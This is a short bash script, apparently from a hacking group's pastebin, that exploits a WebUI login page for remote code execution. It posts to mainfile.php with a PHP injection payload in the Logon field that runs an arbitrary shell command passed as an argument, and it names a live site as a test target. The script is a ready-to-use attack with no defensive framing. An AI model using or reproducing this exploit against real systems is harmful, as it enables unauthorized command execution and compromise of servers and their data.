Exploit Remote Code WebUI

# bin/bash
# run the script on windows ! Download GIT => [ http://git-scm.com/download/win ]
# Infected site for test : http://cacti.vipnet.ci/
if [ $1 -a $2 ]
then
echo [+]-------------------------------------------[+]
echo [+] Coder By : Lov3rDns                       [+]
echo [+] Discovery: TUNISIAN CYBER                 [+]
echo [+] Title    : Exploit Remote Code WebUI      [+]
echo [+] Homepage : pastebin.com/u/dnsx3           [+]
echo [+] 4U : Mr.Dm4r - xSecurity - Shark Hidden   [+]
echo [+]-------------------------------------------[+]
else
echo "
Usage : $0 url ls -al
"
exit
fi
echo "
Processing ..."
sleep 3
lover="`curl --request POST $1/mainfile.php --data "username=USER&password=PASSWORD&_login=1&Logon=';echo system('$2');'"`"
if [ $? = 0 ]
then
 echo $lover
 #echo `curl --request POST $1 --data "username=USER&password=PASSWORD&_login=1&Logon=';echo system('$2');'"`
exit
fi